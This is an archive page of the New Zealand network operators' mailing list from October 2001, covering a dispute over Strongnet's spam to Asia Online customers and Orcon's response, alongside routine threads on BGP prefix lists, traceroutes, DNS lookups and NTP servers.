- NZNOG - lists.nznog.org

FW: Asia Online
by Gordon Smith 28 Oct '01

28 Oct '01

I'd probably agree with Mark that a warning was in order, if not for the fact that we received spam from another Orcon customer, FusionDigital, only last month. That one was trying to sell me bandwidth, ports, etc Come on Seeby, I think some serious LARTing is in order... Gordon --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

10 14

Re: FW: Asia Online
by Seeby - Orcon Internet 28 Oct '01

28 Oct '01

As you will know - Orcon is a wholesaler to a large number of ISP's and web hosting companies around NZ. If a customer of one of the ISP's we service SPAM's - we don't cut the ISP off for inadvertently spamming by way of their customer - because it's not their fault. Any issues like this are generally referred to the ISP hosting the customer. With regard to our terms and conditions there is a clear distinction between customers directly on our network, and wholesale customers who have their own networks and customers behind us. I can assue you, as will have been evidenced in the past, that direct customers of ours on our network who spam or cause problems are dealt with swiftly, however wholesale customers are generally allowed to make their own rules about what must or must not be allowed in the case of spamming. In this issue, cutting of strongnet because of the actions of Phil Hunt would affect a lot more customers than simply him alone. As a wholesale customer, I am affecting all their customers as well if I take such action. It is important to understand that an individual is not necessarily equivalent to a company, and where we have wholesale contracts with a company, the actions of one director may not be warrant, justify or allow the removal of services to that company. There are some issues which people will not be aware of that make this very complicated for us, and as I have said - we are in the middle. I certainly do not condonde the actions that have happend, however suggesions from people to "cut Strongnet off!" are not helpful when not all the facts may be known. You can be assured that myself and Orcon act with the utmost of integrity, and that I am not simply "changing the rules" for one particular customer. Cheers Seeby Orcon Internet - www.orcon.net.nz ----- Original Message ----- From: <gordon(a)morenet.net.nz> > Although I can see your point, if you take this position with spammers on > your network, I wouldn't be at all surprised to see Orcon's IP blocks listed > in the various email blacklists as being spammer-friendly. > > You're changing your terms and conditions for individual users, which, I > believe, is not really acceptable. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

5 5

Re: FW: Asia Online
by Seeby - Orcon Internet 26 Oct '01

26 Oct '01

While not condoning Philip Hunt's actions in this regard, we are placed in a very difficult position. Our terms and conditions state that we do not allow users to send spam from our network, however when this user is a business, and the lifeblood of their business is providing Internet services - to cut them off would mean the end of their ability to function. Because of this, I feel that it is fair to give a warning only rather than a suspension of services. I am trying to be fair to all parties - including the wider Internet community - and wanted to let everyone know where I stand. I guess we are stuck in the middle on this one. Cheers Seeby Orcon Internet - www.orcon.net.nz > At 27/10/2001 11:17, you wrote: > > > Strongnet operates one of New Zealand's most advanced and fully automated > > > Domain Name and Webhosting systems. > > And appears to be a customer of orcon.net.nz whose terms contain published at > > http://www.orcon.net.nz/support/terms/termsandconditions.html > > contain: > > "Users are not permitted to send multiple unsolicited email (Spam) to > single or multiple users including, but not limited to, advertising email." > > "Any failure to obey these rules or if a specific complaint has been made > from any person or company about your activities we will investigate (in > conjunction with the police if necessary). We will then make a decision as > to the severity of your actions. This may result in a warning. If we > consider the breach to be sufficiently serious (at our discretion) you > agree that we may disconnect your services immediately without notice or > liability to you." > > This email is a specific complaint in regard to the bulk UCE sent by > strongnet to .nz registrants who are currently customers of Asia On-line. > > I believe the severity of the action demands immediate > disconnection. There is no way an ISP can reasonably claim ignorance in > such matters. > > Other internet providers who endorse this complaint and recommended action, > please wave your hand. > > > > > Peter Mott > Chief Enthusiast > 2DAY INTERNET LIMITED > -/- > > 2day.com - The professional choice for automated web hosting services > --------------------------------------------------------------------- > --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

8 9

Re:: Asia Online
by PhoneNet 26 Oct '01

26 Oct '01

At 13:03 27/10/01 +1300, you wrote: >Condering the identities of 2 of the other parties I have heard of then >cutting them off will get rid of a large percentage of the NZ Internet. >Since this is not going to happen it's not really fair to impose a similar >penality against strongnet just cause fewer people will be inconvenienced. So name them as well... what is it with this industry... its been unable to regulate itself as far back as I can remember and half of the transgressions of supposedly responsible ISPs never make it into the "press".... let's treat this as a wake-up call and do somehting pro-active for a change! Ian >> >>However every ISP here has upstreams even if they are overseas, whats more >>every connection agreement I have seen allows the upstream ISP to cut off >>spammers. >> >>-- >>Simon Lyall. | Newsmaster | Work: simon.lyall(a)ihug.co.nz >>Senior Network/System Admin | Postmaster | Home: simon(a)darkmere.gen.nz >>ihug, Auckland, NZ | Asst Doorman | Web: http://www.darkmere.gen.nz >> >>--------- >>To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >>where the body of your message reads: >>unsubscribe nznog >> --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

FW: Asia Online
by Chris Woodrow 26 Oct '01

26 Oct '01

Its only fair that you make your own minds up about the spam and a copy is below. My perspective is that spam sucks, but at least we theoretically in New Zealand we have great network administrators (I do note Xtra as an exception here after previous experience) that we can have tell the users off and reduce/prevent spam. However when a network is involved, who does the telling off? Networks/Service providers by involvement in the industry should hopefully already know that spam is wrong, therefore a telling off is pointless and punishment realistically should be an option. Exactly how is the hard bit, and hopefully the press will do their part to expose these questionable StrongNet ethics. Who knows perhaps NZNOG being notified of peers who are spamming may be punishment enough in the long term, it is a very small industry. After getting six of these emails, there is no way I would deal with StrongNet in the future, however realistically I may not have in any case. But Phillip Hunt and StrongNet are now forever etched in my 'memory' of New Zealand based spammers and dodgey people. Cheers Chris Chris Woodrow Melco New Zealand > -----Original Message----- > From: phil(a)strongnet.co.nz [SMTP:phil(a)strongnet.co.nz] > Sent: Friday, October 26, 2001 11:54 AM > To: info(a)melco.co.nz > Cc: postmaster(a)melco.co.nz > Subject: Asia Online > > Dear Asia Online Domain Holder (melco.co.nz), > > Strongnet operates one of New Zealand's most advanced and fully automated > Domain Name and Webhosting systems. It is not our intention to send you > information that is of no interest. Please advise us at any time if you > wish to be removed from our records by replying to this message with just > "REMOVE" in the subject line. > > You may have read in the New Zealand Herald that ... "Internet service > provider Asia Online New Zealand has gone into voluntary liquidation". The > article can be found by clicking here > <http://www.nzherald.co.nz/business/businessstorydisplay.cfm?storyID=22455 > 4&thesection=business&thesubsection=ebusiness&thesecondsubsection=internet > > or on the following link: > > &thesection=business&thesubsection=ebusiness&thesecondsubsection=internet< > http://www.nzherald.co.nz/business/businessstorydisplay.cfm?storyID=224554 > &thesection=business&thesubsection=ebusiness&thesecondsubsection=internet> > > > According to our records, your domain name MELCO.CO.NZ is hosted at Asia > Online New Zealand. > > Strongnet is a 100% New Zealand privately owned company that has been > providing Domain Name and Hosting services since early 1998. Strongnet > operates its own network at Albany, Auckland with high speed connections > to the Internet and Uninteruptable Power. Our network is home to over 2500 > Domain Names, including many high-profile clients such as: > > * Cardlink Systems ( <http://www.cardlink.co.nz>) > > * Citroen New Zealand ( <http://www.citroen.co.nz>) > > * Regency Duty Free ( <http://www.regency.co.nz>) > > * Maurice Kain Textiles ( <http://www.mauricekain.co.nz>) > > * Software Of Excellence ( <http://www.soeidental.com>) > > * Wellington Drive Technologies ( <http://www.wdtl.com>) > > * Armstrong Corporation ( <http://www.armstrong.co.nz>) > > * Remuera Golf Club ( <http://www.remueragolfclub.com>) > > * BikeBarn ( <http://www.bikebarn.co.nz>) > > > It would be a great pleasure if we could be of any assistance to your > organisation with regard to hosting your Domain Name or Website going > forward. As an indication of pricing, access to our fully automated > website hosting packages is available from just $13.95 per month. > > If you are interested in learning more about our Domain Name and Hosting > system, please call us on 09 414 2492, or email info(a)strongnet.co.nz > <mailto:info(a)strongnet.co.nz>, or visit our website at > <http://www.strongnet.co.nz> > > Finally, thank you for your time... and we really look forward to hearing > from you soon! > > Kind regards, > Philip Hunt > Strongnet Limited > Tel: +64-9-414-2492 > Fax: +64-9-414-2960 > Email: info(a)strongnet.co.nz > Website: www.strongnet.co.nz > --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

7 6

Re: FW: Asia Online
by Peter Mott 26 Oct '01

26 Oct '01

>At 27/10/2001 11:17, you wrote: >> > Strongnet operates one of New Zealand's most advanced and fully automated >> > Domain Name and Webhosting systems. > >And appears to be a customer of orcon.net.nz whose terms contain published at > >http://www.orcon.net.nz/support/terms/termsandconditions.html > >contain: > >"Users are not permitted to send multiple unsolicited email (Spam) to >single or multiple users including, but not limited to, advertising email." > >"Any failure to obey these rules or if a specific complaint has been made >from any person or company about your activities we will investigate (in >conjunction with the police if necessary). We will then make a decision as >to the severity of your actions. This may result in a warning. If we >consider the breach to be sufficiently serious (at our discretion) you >agree that we may disconnect your services immediately without notice or >liability to you." > >This email is a specific complaint in regard to the bulk UCE sent by >strongnet to .nz registrants who are currently customers of Asia On-line. > >I believe the severity of the action demands immediate >disconnection. There is no way an ISP can reasonably claim ignorance in >such matters. > >Other internet providers who endorse this complaint and recommended >action, please wave your hand. > > > >Peter Mott >Chief Enthusiast >2DAY INTERNET LIMITED >-/- > >2day.com - The professional choice for automated web hosting services >--------------------------------------------------------------------- --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Re: Asia Online and Spammers
by Mark Foster 26 Oct '01

26 Oct '01

Thank you Juha, got it in one. :) At 10:26 27/10/2001 +1300, Juha Saarinen wrote: >On Fri, 26 Oct 2001, Joe Abley wrote: > > > What is "one of our group"? > >The nasty buncha spammers that hang out in NZNOG, of course. > >-- > > > > >Regards, > > >Juha > >--------- >To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz >where the body of your message reads: >unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Shouldn't ICONZ/Asia Online put something on its Web site...?
by Juha Saarinen 26 Oct '01

26 Oct '01

I'm sure customers would appreciate that. -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Whats Happened to Asiaonline (Ref: from Aardvark)
by Craig Whitmore 26 Oct '01

26 Oct '01

Hi.. I just saw something on Aardvark (http://www.aardvark.co.nz) about AsiaOnline. Is this true, or just a unfounded rumour? Thanks Craig Whitmore --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

9 15

Asia On-Line Spamming
by Roger De Salis 26 Oct '01

26 Oct '01

I've seen the list, and response from Steve Phillips asking for time. I've received a copy of the SPAM in question. There is an accusation made that Domainz data was used to generate the SPAM. Freely available zone-xfers were turned off several months ago, so it is possible that an out of date zone-xfer could have been used. I have no idea beyond this what/how/why. There is no policy on this, other than the generic - "thou shalt not SPAM". It might be useful therefore that the industry generates it's own policy on this. What is a suitable penalty? An example of what could be easily implemented would be a modest delay to registration change overs. ================================================================== Recent SPAMMING of the entire .NZ by the Melbourne Company ING with the suggestion that failure to act would not permit pre-registration of .info and .biz resulted in the suspension of ability to do DNS changes. That company remains suspended until a meaningful "I'm Sorry" is forthcoming, at their expense. ================================================================= Two points. An "I'm Sorry" wouldn't go amiss. You know who you are. A thoughtful discouse would be useful about how transgressors may have their rights limited for a period of time, so as to encourage the correct behaviour would be something we would be happy to help create. Rgds Roger -- \_ Roger De Salis rdesalis(a)cisco.com </' Cisco Systems NZ Ltd +64 25 481 452 /) L8, ASB Tower, 2 Hunter St +64 4 496 9003 (/ Wellington, New Zealand roger(a)desalis.gen.nz ` In October 2001, the 5th most important product line by value for Cisco is - the telephone. Cisco 79x0 IP telephones. --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

prefix list change
by Richard Haakma 24 Oct '01

24 Oct '01

Hi. Would those who peer with KCCS note that there is a change to KCCS' networks. Network 202.37.78.0/24 is not advertised by KCCS any more. An amended prefix list is below. Regards, RH. ip prefix-list KCCS-nets description KC Computer Services noc(a)kc.net.nz ip prefix-list KCCS-nets seq 5 permit 202.14.82.0/24 ip prefix-list KCCS-nets seq 10 permit 202.14.102.0/24 ip prefix-list KCCS-nets seq 15 permit 202.20.65.0/24 ip prefix-list KCCS-nets seq 20 permit 202.20.92.0/24 ip prefix-list KCCS-nets seq 25 permit 202.21.157.0/24 ip prefix-list KCCS-nets seq 30 permit 202.27.83.0/24 ip prefix-list KCCS-nets seq 35 permit 202.27.192.0/21 ip prefix-list KCCS-nets seq 40 permit 202.27.200.0/22 ip prefix-list KCCS-nets seq 45 permit 202.27.209.0/24 ip prefix-list KCCS-nets seq 50 permit 202.27.210.0/24 ip prefix-list KCCS-nets seq 55 permit 202.27.211.0/24 ip prefix-list KCCS-nets seq 60 permit 202.27.212.0/22 ip prefix-list KCCS-nets seq 70 permit 202.27.216.0/22 le 24 ip prefix-list KCCS-nets seq 75 permit 202.27.222.0/24 ip prefix-list KCCS-nets seq 80 permit 202.27.236.0/24 ip prefix-list KCCS-nets seq 85 permit 202.27.247.0/24 ip prefix-list KCCS-nets seq 90 permit 202.27.251.0/24 ip prefix-list KCCS-nets seq 95 permit 202.36.43.0/24 ip prefix-list KCCS-nets seq 100 permit 202.36.75.0/24 ip prefix-list KCCS-nets seq 105 permit 202.36.154.0/24 ip prefix-list KCCS-nets seq 110 permit 202.37.70.0/24 ip prefix-list KCCS-nets seq 115 permit 202.37.71.0/24 ip prefix-list KCCS-nets seq 120 permit 202.37.75.0/24 ip prefix-list KCCS-nets seq 125 permit 202.37.117.0/24 ip prefix-list KCCS-nets seq 130 permit 202.37.118.0/24 ip prefix-list KCCS-nets seq 135 permit 202.37.168.0/24 ip prefix-list KCCS-nets seq 140 permit 202.49.141.0/24 ip prefix-list KCCS-nets seq 145 permit 202.49.183.0/24 ip prefix-list KCCS-nets seq 150 permit 202.49.189.0/24 ip prefix-list KCCS-nets seq 155 permit 202.49.233.0/24 ip prefix-list KCCS-nets seq 160 permit 202.50.95.0/24 ip prefix-list KCCS-nets seq 165 permit 202.50.164.0/24 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

DS3 problem
by PER-LIM-Cabanillas, Jose 23 Oct '01

23 Oct '01

Hi, I'am writing from Perú, here we have a Nortel Passport 7400 with a 3 ports DS3 card. we are recently connected to other Passport in USA through Global Crossing (GC) SDH network. between the GC ADM and our Passport (ATM Switch) we have 50 meters of coaxial cable with BNC connectors. We checked the cable, its OK. the problem is that in the DS3 statistics, we have PathCodeViolations. we have this config used from USA to others places so we don´t know what is the problems (maybe the SDH network?). If the problem is in the SDH how can I detect it ?. I can find information about DS3 and PathCodeViolations. I'll be appreciate any information or relative link Thanks --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re:
by Adrian Smith 22 Oct '01

22 Oct '01

Thanks for all your replies. It is now working ok, with and without the dot at the end, thanks. Looks like the problem has cleared now. The reason I asked the original question is that the icq client failed instantly to connect. Usually it sits there for a while and then times out if the icq network is temporarily unreachable. Adrian >>> "Phil Groom" <pgroom(a)tasmail.com> 10/23/01 11:06 >>> G'day Adrian, nslookup will append the "default" domain name to the given host if the given host does not contain a trailing "." Perhaps that is what you are seeing when you set debug. I assume that you do not see strangness when debug is off (I don't). Phill. -----Original Message----- From: Adrian Smith [SMTP:Adrian.Smith(a)natlib.govt.nz] Sent: Tuesday, 23 October 2001 8:50 am To: nznog(a)list.waikato.ac.nz Subject: strange results from nslookup of icq.mirabilis.com Can anyone tell me why nslookup is adding my domain name on to an nslookup of icq.mirabilis.com ... and then trying to do a lookup on that ? -- www.tasmail.com --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

strange results from nslookup of icq.mirabilis.com
by Adrian Smith 22 Oct '01

22 Oct '01

Can anyone tell me why nslookup is adding my domain name on to an nslookup of icq.mirabilis.com ... and then trying to do a lookup on that ? Is it because mirabilis.com are not returning any nameserver records in the authority records ? planet:~$ nslookup Default Server: planet.natlib.govt.nz Address: 192.122.171.130 > set debug > icq.mirabilis.com Server: planet.natlib.govt.nz Address: 192.122.171.130 ;; res_nmkquery(QUERY, icq.mirabilis.com, IN, A) ------------ Got answer: HEADER: opcode = QUERY, id = 63705, rcode = NXDOMAIN header flags: response, auth. answer, want recursion, recursion avail. questions = 1, answers = 1, authority records = 1, additional = 0 QUESTIONS: icq.mirabilis.com, type = A, class = IN ANSWERS: -> icq.mirabilis.com canonical name = icq.fes.mirabilis.com ttl = 600 (10M) AUTHORITY RECORDS: -> mirabilis.com ttl = 600 (10M) origin = dns-01.icq.net mail addr = hostmaster.icq.net serial = 2001101601 refresh = 600 (10M) retry = 300 (5M) expire = 604800 (1W) minimum ttl = 600 (10M) ------------ ;; res_nmkquery(QUERY, icq.mirabilis.com.natlib.govt.nz, IN, A) ------------ Got answer: HEADER: opcode = QUERY, id = 63706, rcode = NXDOMAIN header flags: response, auth. answer, want recursion, recursion avail. questions = 1, answers = 0, authority records = 1, additional = 0 QUESTIONS: icq.mirabilis.com.natlib.govt.nz, type = A, class = IN AUTHORITY RECORDS: -> natlib.govt.nz ttl = 86400 (1D) origin = dns1.natlib.govt.nz mail addr = networks.natlib.govt.nz serial = 2001102309 refresh = 3600 (1H) retry = 1200 (20M) expire = 1728000 (1728000) minimum ttl = 86400 (1D) ------------ *** planet.natlib.govt.nz can't find icq.mirabilis.com: Non-existent host/domain > At first I thought it was a problem with our dns, but I have repeated the same query from other NZ sites nameservers and seem to be getting similar results. Are any other NZ ISP's or nznog people seeing a similar problem? Thanks Adrian Smith --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 2

(no subject)
by Phil Groom 22 Oct '01

22 Oct '01

G'day Adrian, nslookup will append the "default" domain name to the given host if the given host does not contain a trailing "." Perhaps that is what you are seeing when you set debug. I assume that you do not see strangness when debug is off (I don't). Phill. -----Original Message----- From: Adrian Smith [SMTP:Adrian.Smith(a)natlib.govt.nz] Sent: Tuesday, 23 October 2001 8:50 am To: nznog(a)list.waikato.ac.nz Subject: strange results from nslookup of icq.mirabilis.com Can anyone tell me why nslookup is adding my domain name on to an nslookup of icq.mirabilis.com ... and then trying to do a lookup on that ? -- www.tasmail.com --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

The weakest link
by Michael Newbery 17 Oct '01

17 Oct '01

I'm trying to identify throughput speeds of typical low (and not so low) end network devices. With carrier networks that outperform many people's infrastructure, I'd like to have some sort of a list that says Cisco 1605R <p Mbps Cisco 2600 <q Mbps Win95/98 <y Mbps TCP WinME/2K <z Mbps TCP Any pointers to where such info might be found? Real-world is what I'd prefer. We hit this even with the cable modems where 2Mbps was faster than many PCs could make use of (three years ago). It's got worse. We can put Smartbits testers on links during commissioning, but that's not really helpful to the customers, who want at least some reasonable pointer as to why going from 64kbps to 1Gbps isn't giving them the throughput they expected. I thought I'd start with Scott Bradner's old Harvard tests, but I can't find them anymore. -- Michael Newbery Technical Specialist TelstraSaturn Limited Tel: +64-4-939 5102 Mobile: +64-29-939 5102 Fax: +64-4-922 8401 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Hot Cisco stuff
by Juha Saarinen 17 Oct '01

17 Oct '01

http://www.theregister.co.uk/content/5/22271.html Thought it would interest nznoggers, as I gather quite a few have the 827. -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

11 24

Slow Browsing
by David Sadgrove 17 Oct '01

17 Oct '01

Is anyone else getting extremely slow international browsing and strange trace routes? e.g. root(a)ns1 /root]# traceroute www.hotmail.com traceroute: Warning: www.hotmail.com has multiple addresses; using 64.4.44.7 traceroute to www.hotmail.com (64.4.44.7), 30 hops max, 38 byte packets 1 atm.gw.onthenet.net.nz (210.55.215.254) 1.155 ms 0.457 ms 0.458 ms 2 a10-0-0-12.akbr1.global-gateway.net.nz (202.50.119.13) 13.557 ms 11.289 ms 12.975 ms 3 g2-0-3.akbr2.global-gateway.net.nz (202.50.116.169) 7.751 ms 21.443 ms 3.048 ms 4 p0-1-0.tkbr1.global-gateway.net.nz (202.50.116.162) 92.233 ms 15.704 ms 3.839 ms 5 ATM8-0-0-8.sb2.optus.net.au (202.139.128.97) 124.659 ms 117.207 ms * 6 * * * 7 bcr2-sonet6-1-0-0.Sydney.cw.net (166.63.225.165) 240.041 ms * * 8 * * * 9 * * bpr1-loopback.Paloaltopaix.cw.net (208.172.146.18) 245.538 ms 10 * * microsoft-hotmail.Paloaltopaix.cw.net (206.24.241.42) 260.042 ms 11 * * * 12 law2-gsr-a-pos-9-0.hotmail.com (64.4.63.125) 255.464 ms * 269.320 ms 13 * pos7-0-law7-gsr-a.ca.hotmail.net (64.4.63.86) 258.509 ms * 14 * * 64.4.63.12 (64.4.63.12) 264.160 ms 15 * * p1-1.akbr2.global-gateway.net.nz (202.50.116.161) 35.157 ms 16 * * * 17 p1-1.akbr2.global-gateway.net.nz (202.50.116.161) 1040.668 ms 1183.970 ms 1312.487 ms 18 * * * 19 p1-1.akbr2.global-gateway.net.nz (202.50.116.161) 4558.104 ms * 4771.710 ms 20 * * * 21 * * * Regards Dave Sadgrove Internet Technology Specialist Radionet Limited support(a)radionet.co.nz Telephone +64 9 414 0300 Facsimile +64 9 414 0999 --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

3 2

RE: Slow Browsing
by David Sadgrove 17 Oct '01

17 Oct '01

Yup - In was fine - but out was most strange. It appears to have come mostly right now as Netgate have repaired whatever was broken. International is ramping up again and the trace routes have sorted themselves out to most sites. regards dave -----Original Message----- From: Dean Pemberton [mailto:dean(a)flatnet.gen.nz] Sent: Thursday, 18 October 2001 12:07 To: David Sadgrove Cc: Nznog (E-mail) Subject: Re: Slow Browsing Looks ok in reverse dean(a)cyrus:~$ /usr/sbin/traceroute 210.55.215.254 traceroute to 210.55.215.254 (210.55.215.254), 30 hops max, 38 byte packets 1 208.184.165.main1.above.net (208.184.165.194) 0.230 ms 0.195 ms 0.159 ms 2 core5-main1colo6-oc12.sjc2.above.net (208.185.156.81) 0.404 ms 0.238 ms 0.207 ms 3 core3-core5-oc48.sjc2.above.net (208.185.156.65) 0.280 ms 0.257 ms 0.212 ms 4 pao1-sjc2-oc48.pao1.above.net (208.184.233.142) 1.013 ms 0.968 ms 0.926 ms 5 netgate-customer.pao.above.net (208.185.203.133) 1.348 ms 1.219 ms 1.473 ms 6 g2-0-2.pabr2.netgate.net.nz (202.50.245.19) 1.390 ms 1.826 ms 1.440 ms 7 p4-0.akbr2.global-gateway.net.nz (202.50.116.177) 134.196 ms 134.490 ms 134.289 ms 8 f2-0-1.akbr1.global-gateway.net.nz (202.50.116.170) 134.481 ms 134.765 ms 135.138 ms 9 radionet-int.akbr1.global-gateway.net.nz (202.50.119.14) 252.458 ms * 226.066 ms On Thu, Oct 18, 2001 at 12:05:47PM +1300, David Sadgrove wrote: > Is anyone else getting extremely slow international browsing and strange > trace routes? > > e.g. > root(a)ns1 /root]# traceroute www.hotmail.com > traceroute: Warning: www.hotmail.com has multiple addresses; using 64.4.44.7 > traceroute to www.hotmail.com (64.4.44.7), 30 hops max, 38 byte packets > 1 atm.gw.onthenet.net.nz (210.55.215.254) 1.155 ms 0.457 ms 0.458 ms > 2 a10-0-0-12.akbr1.global-gateway.net.nz (202.50.119.13) 13.557 ms > 11.289 ms 12.975 ms > 3 g2-0-3.akbr2.global-gateway.net.nz (202.50.116.169) 7.751 ms 21.443 ms > 3.048 ms > 4 p0-1-0.tkbr1.global-gateway.net.nz (202.50.116.162) 92.233 ms 15.704 > ms 3.839 ms > 5 ATM8-0-0-8.sb2.optus.net.au (202.139.128.97) 124.659 ms 117.207 ms * > 6 * * * > 7 bcr2-sonet6-1-0-0.Sydney.cw.net (166.63.225.165) 240.041 ms * * > 8 * * * > 9 * * bpr1-loopback.Paloaltopaix.cw.net (208.172.146.18) 245.538 ms > 10 * * microsoft-hotmail.Paloaltopaix.cw.net (206.24.241.42) 260.042 ms > 11 * * * > 12 law2-gsr-a-pos-9-0.hotmail.com (64.4.63.125) 255.464 ms * 269.320 ms > 13 * pos7-0-law7-gsr-a.ca.hotmail.net (64.4.63.86) 258.509 ms * > 14 * * 64.4.63.12 (64.4.63.12) 264.160 ms > 15 * * p1-1.akbr2.global-gateway.net.nz (202.50.116.161) 35.157 ms > 16 * * * > 17 p1-1.akbr2.global-gateway.net.nz (202.50.116.161) 1040.668 ms 1183.970 > ms 1312.487 ms > 18 * * * > 19 p1-1.akbr2.global-gateway.net.nz (202.50.116.161) 4558.104 ms * > 4771.710 ms > 20 * * * > 21 * * * > > Regards > Dave Sadgrove > Internet Technology Specialist > Radionet Limited > support(a)radionet.co.nz > Telephone +64 9 414 0300 Facsimile +64 9 414 0999 > > --------- > To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz > where the body of your message reads: > unsubscribe nznog --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Actrix
by Mark Foster 17 Oct '01

17 Oct '01

Actrix dropped off the face of APE last night some time - appear to still be non routable via APE although connections outside of APE appear OK. Anyone know whats up ? Outage is over 18 hours now at my estimate... Mark. traceroute to 203.96.22.1 (203.96.22.1), 64 hops max, 40 byte packets 1 minotaur.quicksilver.co.nz (202.89.130.3) 0.235 ms 0.164 ms 0.158 ms 2 qsi1.ape.net.nz (192.203.154.28) 0.806 ms 0.540 ms 0.885 ms 3 clix1.ape.net.nz (192.203.154.8) 47.498 ms 1.832 ms 1.507 ms 4 203.97.10.38 (203.97.10.38) 1.409 ms 1.508 ms 2.63 ms 5 dts.cust.tranzpeer.net (202.180.81.66) 3.947 ms 6.40 ms 4.493 ms 6 202.180.81.1 (202.180.81.1) 4.451 ms 3.658 ms 6.702 ms 7 actrix.ape.net.nz (192.203.154.16) 72.797 ms 76.455 ms 65.769 ms 8 * * --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Xtra not accepting abuse emails???
by Lin Nah 17 Oct '01

17 Oct '01

Just read today's aardvark. I must admit I haven't had any reason recently to report abuse to xtra. Bruce reports: "Attempts to send reports to abuse(a)xtra.co.nz or security(a)xtra.co.nz now produce an automated response that says, in part: Xtra has automated the procedures for reporting allegations of abuse and security breaches involving our network or customers. From 14 August 2001, we no longer accept complaints via email. Please complete the appropriate web forms at <URL supplied>" So is that true? Lin --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

RE: Xmas outing
by Juha Saarinen 17 Oct '01

17 Oct '01

On Thu, 18 Oct 2001, Gordon Smith wrote: > Isn't IDG going to take us all out somewhere nice? > > After all, the stuff we do gives them something to write about... :-) And if IDG didn't write about the things you do, you might have a lot less to do, if you see what I mean. ;-) -- Regards, Juha --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

Xmas outing
by Dean Pemberton 17 Oct '01

17 Oct '01

So did anyone have any idea (other than bartab at a bar) which needed to be considered by the group at large? Dean --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

2 1

Re: Hot Cisco stuff + Various
by Donald Neal 16 Oct '01

16 Oct '01

>>> "Roger De Salis" <rdesalis(a)cisco.com> 10/17/01 01:17 >>> >Any interest in an NZNOG Xmas party in Auckland and Wellington >sponsored by a well known network vendor? >R I'd be interested. Perhaps a barbecue, if there are enough spare 827's ... - Donald Neal -- Donald Neal Mobility & Calling Platforms Network Delivery Telecom New Zealand Ltd --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

4 4

bigben.clix.net.nz and other NTP time sources
by Ben Martel 14 Oct '01

14 Oct '01

Hi all, Just to clarify a few things about bigben.clix.net.nz (which btw is a Truetime NTS90 - http://www.truetime.com/) Where is it located? On top of the CLEAR building in Takapuna, Auckland. Who operates it? The CLEAR Net Team What is the time reference? GPS Is it publicly available? Yes, in that there are no filters on it stating who can use it - but it is not designed to handle thousands of clients. This device was offered to people in NZNOG as a reference stratum 1 clock source. I suppose this meant that we expected other ISPs to sync their stratum 2 servers using it, if they wished and according to NTP ettiquite would get their user bases to sync of these stratum 2 servers. It seems to work just fine if used this way. Does that help....? ~ben =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ Ben Martel Ph: +64 9 9124067 CLEAR Net Development Fax:+64 9 9125008 Mob:+64 21 541202 =~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~ --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

1 0

NTP time sources in NZ and Aus
by Juha Saarinen 13 Oct '01

13 Oct '01

Any recommendations as to which ones to use for either country? -- Juha Saarinen --------- To unsubscribe from nznog, send email to majordomo(a)list.waikato.ac.nz where the body of your message reads: unsubscribe nznog

6 13

Full wire speed not reached
by Simon Lyall 09 Oct '01

09 Oct '01

